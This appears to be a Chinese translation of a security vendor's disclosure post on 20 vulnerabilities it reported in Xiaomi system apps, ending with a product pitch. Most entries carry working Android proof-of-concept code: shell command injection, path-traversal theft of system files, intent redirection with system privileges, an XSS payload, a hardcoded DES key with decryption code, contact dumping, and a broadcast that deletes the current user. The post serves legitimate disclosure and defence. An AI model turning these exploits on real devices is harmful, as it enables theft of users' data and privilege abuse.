Oversecured 发现并解决了小米设备中存在的重大移动安全漏洞。我们的团队发现了各种应用程序和系统组件中存在的 20 个危险漏洞,这些漏洞对所有小米用户构成威胁。小米中的漏洞可导致以系统权限访问任意活动、接收器和服务,以系统权限窃取任意文件,泄露手机、设置和小米帐户数据,以及其他漏洞。
我们在 2023 年 4 月 25 日至 4 月 30 日的 5 天内向小米报告了这些漏洞,以便迅速修复。本文详细介绍了每个漏洞,强调了主动安全实践在移动技术中的重要性。
目录
- 安全性 - 使用系统权限进行意图重定向
- 系统跟踪 - Shell 命令注入
- 设置——将任意服务与系统权限绑定
- 设置-以系统权限窃取任意文件
- 设置 - 隐式广播公开蓝牙和 Wi-Fi 数据
- 设置 - 隐式活动意图公开小米帐户、Wi-Fi、蓝牙数据和电话号码
- GetApps——内存损坏
- GetApps - 意图重定向 (1)
- GetApps——意图重定向(2)
- GetApps - 隐式活动意图公开会话令牌
- 安全核心组件 - 自动删除当前用户
- 安全核心组件 - 使用系统权限启动任意广播接收器
- MIUI 蓝牙-窃取具有
android.uid.bluetooth
特权的任意文件 - MIUI 蓝牙 - 隐式广播意图公开蓝牙数据
- 电话服务 - 隐式活动意图暴露电话数据
- ShareMe - 使用硬编码的 DES 密钥来处理私人文件
- 画廊 - 获取任意*内容提供商的访问权限
- 小米云-内置 WebView 中的 XSS
- 打印后台处理程序 - (过度)写入任意文件
- Mi Video - 隐式广播暴露小米帐户信息
- 结论
安全性 - 使用系统权限进行意图重定向
安全应用程序的过度安全扫描报告 ( com.miui.securitycenter
) 包含以下漏洞:
导出的活动com.miui.wakepath.ui.ConfirmStartActivity
旨在请求用户允许启动活动。但是,它没有提供任何有关这样做的危险的解释。此外,攻击者可以控制调用者和被调用者的名称。
此外,此应用程序已使用标志声明android:sharedUserId="android.uid.system"
,这使其成为系统应用程序。此类应用程序比任何其他应用程序拥有更多的权限。例如,在此漏洞的背景下,攻击者将能够访问用户设备上安装的所有应用程序的任意活动。这包括具有标志android:exported="false"
或设置了访问权限的活动。
概念验证
为了测试这一点,我们使用了我们自己的NotExportedActivity
活动,其中有android:exported="false"
标志:
<activity android:name=".NotExportedActivity" android:exported="false" />
public class NotExportedActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d("evil", "NotExportedActivity.onCreate()");
}
}
并通过该漏洞启动它:
Intent next = new Intent();
next.setClass(this, NotExportedActivity.class);
Intent i = new Intent("android.app.action.CHECK_ALLOW_START_ACTIVITY");
i.setClassName("com.miui.securitycenter", "com.miui.wakepath.ui.ConfirmStartActivity");
i.putExtra("android.intent.extra.INTENT", next);
i.putExtra("CalleePkgName", "root");
i.putExtra("CallerPkgName", "root");
i.putExtra("UserId", -1);
startActivity(i);
系统跟踪 - Shell 命令注入
系统跟踪应用程序的过度安全扫描报告 ( com.android.traceur
) 包含以下漏洞:
这个应用也来自 AOSP,但已被小米修改。他们添加了自定义代码,将转储功能扩展到导出的com.android.traceur.AppReceiver
接收器,该接收器不会检查接收到的值并将其直接传递给sh
。
概念验证
Intent i = new Intent("com.android.traceur.AppReceiver");
i.putExtra("ACTION", "traceutil_delete");
i.putExtra("ACTION_DELETE_FILE", ".perfetto-trace && log -t evil 1337");
sendBroadcast(i);
设置——将任意服务与系统权限绑定
安全应用程序的过度安全扫描报告 ( com.android.settings
) 包含以下漏洞:
此应用也来自 AOSP,但已被小米修补。他们更改了 中的代码com.android.settings.wifi.dpp.WifiDppEnrolleeActivity
,将 的原始初始继承者替换为androidx.appcompat.app.AppCompatActivity
。miuix.appcompat.app.AppCompatActivity
它有一个miuix.appcompat.app.AppDelegate
委托,它会调用miuix.appcompat.app.floatingactivity.multiapp.MultiAppFloatingActivitySwitcher.install()
它接受攻击者控制的值floating_service_pkg
和floating_service_path
。这些值被视为用于绑定服务的组件名称。我们认为这是一个 SDK 问题,因为它存在于许多小米应用中,使它们容易受到攻击。这很危险,因为攻击者可以在用户设备上安装的所有应用中启动任何潜在的敏感功能。
此外,与之前的漏洞一样,设置是一个系统应用程序,因此此功能允许攻击者在任何已安装的应用程序中绝对绑定用户设备上声明的任何服务。
概念验证
与以前一样,我们使用自己的方法MyNotExportedService
来测试该漏洞:
public class MyNotExportedService extends Service {
public IBinder onBind(Intent intent) {
Log.d("evil", "MyNotExportedService.onBind()");
return null;
}
}
此代码触发服务:
Intent i = new Intent("android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER");
i.setClassName("com.android.settings", "com.android.settings.wifi.dpp.WifiDppEnrolleeActivity");
i.putExtra("floating_service_pkg", getPackageName());
i.putExtra("floating_service_path", MyNotExportedService.class.getCanonicalName());
startActivity(i);
设置-以系统权限窃取任意文件
安全应用程序的过度安全扫描报告 ( com.android.settings
) 包含以下漏洞:
与上一个漏洞类似,小米com.android.settings.bluetooth.MiuiFastConnectResourceProvider
在应用程序中添加了导出的提供程序。此提供程序请求系统权限来读取文件,但不会在内部检查文件访问标志是否设置为读取文件。此外,提供程序代码包含针对不良 URI 的尝试,但这些尝试还不够。例如,uri.toString().endsWith(".zip") && !uri.toString().contains("../")
可以使用编码和 URI 哈希部分等 URI 技巧绕过这两项验证。
概念验证
Uri uri = Uri.parse("content://com.android.settings.bluetooth.MiuiFastConnectResourceProvider/..%2F..%2F..%2F..%2F..%2Fdata/system/users/0/settings_secure.xml#.zip");
try {
ParcelFileDescriptor pfd = getContentResolver().openFileDescriptor(uri, "w");
try (InputStream inputStream = new FileInputStream(pfd.getFileDescriptor())) {
Log.d("evil", IOUtils.toString(inputStream));
}
} catch (Throwable th) {
throw new RuntimeException(th);
}
设置 - 隐式广播公开蓝牙和 Wi-Fi 数据
设置应用程序的过度安全扫描报告(com.android.settings
)包含以下漏洞:
小米添加了自己的功能,用于 AOSP 中不存在的附加设置。结果,这些意图开始泄露有关蓝牙设备、连接的 Wi-Fi 网络和紧急联系人的信息。
概念验证
文件AndroidManifest.xml
:
<receiver android:name=".MyReceiver" android:exported="true">
<intent-filter>
<action android:name="DELIVERED_SMS_ACTION0" />
<action android:name="DELIVERED_SMS_ACTION1" />
<action android:name="DELIVERED_SMS_ACTION2" />
<action android:name="DELIVERED_SMS_ACTION3" />
<!-- ... -->
<action android:name="miui.intent.action.ACTIVE_RE_REGISTRATION_NETWORK" />
<action android:name="com.miui.action.PASSPOINT_WIFI_LOGIN" />
<action android:name="android.bluetooth.settings.action.FASTCONNECT_MODIFICATION_COMPLETED" />
</intent-filter>
</receiver>
文件MyReceiver.java
:
public class MyReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent i) {
DumpUtils.dump(i, context.getClassLoader());
}
}
文件DumpUtils.java
:
public class DumpUtils {
public static void dump(Intent intent, ClassLoader classLoader) {
if (intent == null) {
return;
}
print(toJson(intent, classLoader));
}
private static JsonObject toJson(Intent intent, ClassLoader classLoader) {
JsonObject o = new JsonObject();
if (intent.getAction() != null) {
o.addProperty("action", intent.getAction());
}
if (intent.getDataString() != null) {
o.addProperty("data", intent.getDataString());
}
if (intent.getCategories() != null && !intent.getCategories().isEmpty()) {
o.add("categories", toJson(intent.getCategories()));
}
if (intent.getFlags() != 0) {
o.addProperty("flags", intent.getFlags());
}
if (intent.getClipData() != null) {
o.add("clipData", toJson(intent.getClipData()));
}
if (intent.getSelector() != null) {
o.add("selector", toJson(intent.getSelector(), classLoader));
}
if (intent.getExtras() != null) {
o.add("extras", toJson(intent.getExtras(), classLoader));
}
return o;
}
private static JsonObject toJson(Bundle bundle, ClassLoader classLoader) {
JsonObject o = new JsonObject();
bundle.setClassLoader(classLoader);
for (String key : bundle.keySet()) {
Object value = bundle.get(key);
JsonElement parsedValue;
if (value instanceof Intent) {
parsedValue = toJson((Intent) value, classLoader);
} else if (value instanceof Bundle) {
parsedValue = toJson((Bundle) value, classLoader);
} else {
parsedValue = toJson(value);
}
o.add(key, parsedValue);
}
return o;
}
private static JsonElement toJson(Object value) {
return getGson().toJsonTree(value);
}
private static Gson getGson() {
return new GsonBuilder().setPrettyPrinting().create();
}
private static Iterable<String> split(String s) {
return Splitter.fixedLength(500)
.omitEmptyStrings()
.split(s);
}
private static void print(JsonObject o) {
String prettyString = getGson().toJson(o);
for(String data : split(prettyString)) {
Log.d("evil", data);
}
}
}
设置 - 隐式活动意图公开小米帐户、Wi-Fi、蓝牙数据和电话号码
设置应用程序的过度安全扫描报告(com.android.settings
)包含以下漏洞:
此漏洞与上一个漏洞类似,但唯一的区别在于拦截隐式意图的方式,它使用activity
而不是receiver
,并且在泄露的数据中:它另外包括小米帐户详细信息和过滤后的电话号码。
概念验证
文件AndroidManifest.xml
:
<activity android:name=".InterceptActivity" android:exported="true">
<intent-filter android:priority="999">
<action android:name="miui.intent.action.SELECT_WIFI_AP" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="android.settings.XIAOMI_ACCOUNT_SYNC_SETTINGS" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="miui.intent.action.ADD_FIREWALL" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="miui.intent.action.SWITCH_TO_WIFI" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="android.settings.NETWORK_PROVIDER_SETTINGS" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="miui.bluetooth.action.HEADSET_SETTINGS" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="miui.bluetooth.action.HEADSET_SETTINGS_PLUGIN" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="miui.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="miui.bluetooth.action.PICK_DEVICE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="com.xiaomi.action.MICLOUD_MEMBER" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
文件InterceptActivity.java
:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
DumpUtils.dump(getIntent(), getClassLoader());
finish();
}
GetApps——内存损坏
GetApps 应用程序的过度安全扫描报告 ( com.xiaomi.mipicks
) 包含以下漏洞:
该漏洞来自LiveEventBus库。我们在一年多前就通知了开发人员,但他们显然还没有看到我们的消息,也没有发布任何更新。
问题在于com/jeremyliao/liveeventbus/core/LiveEventBusCore.java
文件中注册了一个不安全的广播接收器。安装在同一设备上的第三方应用程序可以发送带有操作的广播intent.action.ACTION_LEB_IPC
并指定任意 JSON 数据。然后,攻击者可以使用 Gson 库创建任意 Java 对象,包括包含本机指针的对象。如果这些对象被破坏,这将导致内存损坏。当我们在 PayPal 应用程序中发现类似的错误时,我们在文章“利用Android 中的内存损坏漏洞”中更详细地描述了这种攻击媒介。
概念验证
Intent i = new Intent("intent.action.ACTION_LEB_IPC");
i.setPackage("com.xiaomi.mipicks");
i.putExtra("leb_ipc_key", "smth");
i.putExtra("leb_ipc_value_type", 10);
i.putExtra("leb_ipc_class_name", "com.android.internal.util.VirtualRefBasePtr");
i.putExtra("leb_ipc_value", "{'mNativePtr':3735928551}");
sendBroadcast(i);
GetApps - 意图重定向 (1)
GetApps 应用程序的过度安全扫描报告 ( com.xiaomi.mipicks
) 包含以下漏洞:
该com.xiaomi.market.ui.MainUserAgreementActivity
活动已导出,其基本BaseUserAgreementActivity
活动将获取targetIntent
参数,验证其是否正在从 GetApps 启动活动,并将此意图传递给startActivity()
。这允许攻击者访问此应用程序未导出的任何活动。此外,由于错过了其中的验证,攻击者可以访问,例如,com.xiaomi.market.ui.UnlockActivity
作为代理将意图重定向到其他应用程序。
概念验证
Intent next = new Intent(Intent.ACTION_VIEW, Uri.parse("https://google.com/")); // any other intent
Intent proxy = new Intent();
proxy.setClassName("com.xiaomi.mipicks", "com.xiaomi.market.ui.UnlockActivity");
proxy.putExtra("pendingIntentAction", next);
Intent i = new Intent();
i.setClassName("com.xiaomi.mipicks", "com.xiaomi.market.ui.MainUserAgreementActivity");
i.putExtra("targetIntent", proxy);
startActivity(i);
GetApps——意图重定向(2)
GetApps 应用程序的过度安全扫描报告 ( com.xiaomi.mipicks
) 包含以下漏洞:
该应用程序包含一个导出的com.xiaomi.market.appchooser.AppChooserActivity
活动,该活动将攻击者控制的权限传递给targetIntent
,startActivity()
从而允许攻击者访问应用程序中声明的任何未导出的活动。
概念验证
这次我们推出了DebugPreferenceFragmentActivity
:
Intent next = new Intent();
next.setData(Uri.parse("https://not_empty"));
next.setClassName("com.xiaomi.mipicks", "com.xiaomi.market.ui.debug.DebugPreferenceFragmentActivity");
Intent i = new Intent("com.xiaomi.market.RESOLVER");
i.setClassName("com.xiaomi.mipicks", "com.xiaomi.market.appchooser.AppChooserActivity");
i.putExtra("targetIntent", next);
startActivity(i);
GetApps - 隐式活动意图公开会话令牌
GetApps 应用程序的过度安全扫描报告 ( com.miui.videoplayer
) 包含以下漏洞:
在该com/xiaomi/market/h52native/utils/ClickTriggerUtil.java
文件中,该应用程序使用隐式意图,将小米会话令牌等敏感数据公开给安装在同一设备上的所有第三方应用程序。
概念验证
<activity android:name=".InterceptActivity" android:exported="true">
<intent-filter android:priority="999">
<action android:name="com.xiaomi.global.payment.MI_PAYMETHOD" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="com.xiaomi.global.payment.MI_ORDERSLIST" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
接下来,概念验证将接收到的数据转储到InterceptActivity
。
安全核心组件 - 自动删除当前用户
安全核心组件应用程序 ( com.miui.securitycore
) 的过度安全扫描报告包含以下漏洞:
应用程序在com/miui/securityspace/service/SecondSpaceService.java
文件中包含一个公开的动态注册的广播接收器。当它收到带有操作的广播时com.miui.securitycore.ACTION_TO_REMOVE_USER
,它会停止当前用户,将其删除,然后锁定屏幕。
概念验证
sendBroadcast(new Intent("com.miui.securitycore.ACTION_TO_REMOVE_USER"));
安全核心组件 - 使用系统权限启动任意广播接收器
安全核心组件应用程序 ( com.miui.securitycore
) 的过度安全扫描报告包含以下漏洞:
正如您在屏幕截图中看到的,问题在于应用程序重置了组件值但保留了选择器。当攻击者向此接收器发送广播时,他们可以提供两个值,并且意图将首先传递给小米接收器,但之后,它将被重定向到攻击者提供的接收器。但是,操作只能是android.intent.action.MEDIA_SCANNER_SCAN_FILE
或miui.intent.action.MEDIA_SCANNER_SCAN_FOLDER
,这是这里唯一的限制。此漏洞允许攻击者访问安装在同一设备上的任意应用程序的任意接收器。发生这种情况是因为这是一个系统应用程序,并且可以访问用户设备上安装的任何应用程序中注册的所有广播接收器。
概念验证
与以前的 Intent 重定向漏洞一样,我们使用自己的MyNotExportedReceiver
漏洞来测试该漏洞:
public class MyNotExportedReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Log.d("evil", "MyNotExportedReceiver.onReceive()");
Log.d("evil", "key: " + intent.getStringExtra("key"));
}
}
此代码触发接收器:
Intent i = new Intent("android.intent.action.MEDIA_SCANNER_SCAN_FILE");
i.setClassName("com.miui.securitycore", "com.miui.xspace.receiver.MediaScannerReceiver");
i.setSelector(new Intent().setClassName(getPackageName(), MyNotExportedReceiver.class.getCanonicalName()));
i.putExtra("key", "extra_value_example");
sendBroadcast(i);
MIUI 蓝牙-窃取具有android.uid.bluetooth
特权的任意文件
MIUI 蓝牙应用程序的过度安全扫描报告(com.xiaomi.bluetooth
)包含以下漏洞:
该应用程序包含导出的com.android.bluetooth.ble.app.headset.HeadsetProvider
提供程序。它不会以某种方式验证生成的File
对象,从而允许攻击者执行路径遍历攻击。它还用标志声明android:sharedUserId="android.uid.bluetooth"
,允许它访问具有相同标志和其他一些特权的其他应用程序。
概念验证
为了测试,我们使用了 SD 卡上的一个文件:
Uri uri = Uri.parse("content://com.android.bluetooth.ble.app.headset.provider/plugin_update/../../../../../sdcard/test.txt");
try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
Log.d("evil", IOUtils.toString(inputStream));
} catch (Throwable th) {
throw new RuntimeException(th);
}
MIUI 蓝牙 - 隐式广播意图公开蓝牙数据
MIUI 蓝牙应用程序的过度安全扫描报告(com.xiaomi.bluetooth
)包含以下漏洞:
从屏幕截图中可以看出,该应用程序不会向这些广播的接收者请求权限,但它会泄露有关所连接蓝牙设备的信息。然而,在 Android 中,至少请求android.permission.BLUETOOTH
访问任何蓝牙数据的权限是很常见的。
概念验证
文件AndroidManifest.xml
:
<receiver android:name=".MyReceiver" android:exported="true">
<intent-filter>
<action android:name="com.android.bluetooth.headset.click.antilost_notification" />
<action android:name="com.android.bluetooth.headset.notification.cancle" />
<action android:name="com.android.bluetooth.headset.click.detail_notification" />
<action android:name="miui.intent.action.SPATIAL_AUDIO_DEVICE_CONNECT" />
<action android:name="com.android.bluetooth.headset.cancel.antilost" />
</intent-filter>
</receiver>
接下来,概念验证将接收到的数据转储到MyReceiver
。
电话服务 - 隐式活动意图暴露电话数据
电话服务应用程序的过度安全扫描报告 ( com.android.phone
) 包含以下漏洞:
这款应用也来自 AOSP,但已被小米修复。他们添加了自定义功能,但容易受到隐式 Intent 劫持,从而暴露虚拟 SIM 卡的 ICCID 或 IMSI 等系统值。
概念验证
文件AndroidManifest.xml
:
<activity android:name=".InterceptActivity" android:exported="true">
<intent-filter android:priority="999">
<action android:name="org.codeaurora.settings.CDMA_CALL_FORWARDING" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="com.android.phone.CallFeaturesSetting.ADD_VOICEMAIL" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="com.miui.virtualsim.action.CARD_ACTIVATE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
接下来,概念验证将接收到的数据转储到InterceptActivity
。
ShareMe - 使用硬编码的 DES 密钥来处理私人文件
ShareMe 应用程序的过度安全扫描报告 ( com.xiaomi.midrop
) 包含以下漏洞:
该密钥用于加密有关私人文件的信息,然后将其存储在 SD 卡的/sdcard/ShareMe/safebox/
目录中。
概念验证
应使用以下代码来解密数据:
public static String decrypt(String str) {
try {
SecretKey generateSecret = SecretKeyFactory.getInstance("DES").generateSecret(new DESKeySpec("miuiMidrop".getBytes()));
byte[] decode = Base64.decode(str, 0);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, generateSecret);
return new String(cipher.doFinal(decode));
} catch (Exception unused) {
return str;
}
}
画廊 - 获取任意*内容提供商的访问权限
图库应用程序的过度安全扫描报告 ( com.miui.gallery
) 包含以下漏洞:
该应用程序启动一个隐式意图来选择用户头像的 URI。此意图可被安装在同一设备上的任何第三方应用程序拦截。然后该应用程序同时包含 2 个错误:自动向所有可以处理该操作的应用程序授予读取权限com.android.camera.action.CROP
(为此,只需创建具有相应 的任何导出活动即可intent-filter
),然后使用标志1
(Intent.FLAG_GRANT_READ_URI_PERMISSION
)和数据字段中的攻击者的 URI 启动此意图,这允许拦截此意图并从此 URI 读取数据。此易受攻击的代码存在于多个小米应用程序中。
概念验证
文件AndroidManifest.xml
:
<activity android:name=".InterceptActivity" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
<intent-filter android:priority="999">
<action android:name="com.android.camera.action.CROP" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>
文件InterceptActivity.java
:
public class InterceptActivity extends Activity {
private static final Uri CONTACTS_URI = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
private Runnable dumpWaiter = () -> {
while (true) {
try {
Thread.sleep(100);
dump(CONTACTS_URI); // wait when the Gallery app grants access permission
return;
} catch (Throwable th) {
}
}
};
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if ("android.intent.action.PICK".equals(getIntent().getAction())) {
setResult(-1, new Intent().setData(CONTACTS_URI));
new Thread(dumpWaiter).start();
} else {
dump(getIntent().getData());
}
finish();
}
public void dump(Uri uri) {
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
if (cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
} while (cursor.moveToNext());
} else {
Log.d("evil", "empty");
}
}
}
小米云-内置 WebView 中的 XSS
小米云应用程序的过度安全扫描报告(com.xiaomi.mipicks
)包含以下漏洞:
该com/miui/cloudservice/hybrid/ShareLocationHybridActivity.java
文件包含一个不受保护的动态注册的广播接收器,它获取值push_data
、将其连接到 JS 代码,然后执行它。
概念验证
测试之前需要启动小米云APP,因此注册动态广播接收器:
Intent i = new Intent("ACTION_DATA_CHANGED");
i.putExtra("push_data", "'-document.write(1337)-'");
sendBroadcast(i);
打印后台处理程序 - (过度)写入任意文件
打印后台处理程序应用程序的过度安全扫描报告 ( com.android.printspooler
) 包含以下漏洞:
该应用也来自 AOSP,但已被小米修补。该应用在导出的活动中处理第三方 URI com.android.printspooler.convertpdf.ConvertPdfAlertActivity
。它会自动缓存其中的内容,并使用攻击者控制的_display_name
值来形成输出文件路径。该应用程序使用androidx.documentfile
AndroidX 库。但是,它和 Android 框架类(例如)都android.provider.DocumentsProvider
不会以任何方式验证值。这允许攻击者注入特殊字符(例如)/
并扩展攻击。
概念验证
文件AndroidManifest.xml
:
<provider android:name=".MyContentProvider" android:authorities="test.provider" android:exported="true" />
文件MainActivity.java
:
Intent i = new Intent();
i.setData(Uri.parse("content://test.provider/something"));
i.setClassName("com.android.printspooler", "com.android.printspooler.convertpdf.ConvertPdfAlertActivity");
startActivity(i);
文件MyContentProvider.java
:
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{"../../test.txt"});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(makeFile(), ParcelFileDescriptor.MODE_READ_ONLY);
}
private File makeFile() {
File path = new File(getContext().getApplicationInfo().dataDir, "test.txt");
if (!path.exists()) {
try (OutputStream outputStream = new FileOutputStream(path)) {
outputStream.write("test".getBytes());
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
return path;
}
Mi Video - 隐式广播暴露小米帐户信息
Mi Video 应用程序的过度安全扫描报告 ( com.miui.videoplayer
) 包含以下漏洞:
应用程序使用隐式意图通过广播发送信息(例如用户的姓名和电子邮件)。任何第三方应用程序都可以使用自己的广播接收器拦截这些广播。
概念验证
文件AndroidManifest.xml
:
<receiver android:name=".MyReceiver" android:exported="true">
<intent-filter>
<action android:name="android.accounts.LOGIN_ACCOUNTS_POST_CHANGED" />
<action android:name="com.xiaomi.accounts.LOGIN_ACCOUNTS_POST_CHANGED" />
<action android:name="android.accounts.LOGIN_ACCOUNTS_PRE_CHANGED" />
<action android:name="com.xiaomi.accounts.LOGIN_ACCOUNTS_PRE_CHANGED" />
</intent-filter>
</receiver>
接下来,概念验证将接收到的数据转储到MyReceiver
。
结论
通过将移动漏洞扫描程序纳入开发流程,开发团队可以在发布之前识别并修复安全漏洞,从而降低漏洞被利用和数据泄露的可能性。这种主动方法可显著增强产品安全性并确保最终用户的安全。
如果您想增强移动应用程序的安全性,请探索 Oversecured 进行全面的漏洞扫描。联系我们了解更多信息或安排演示。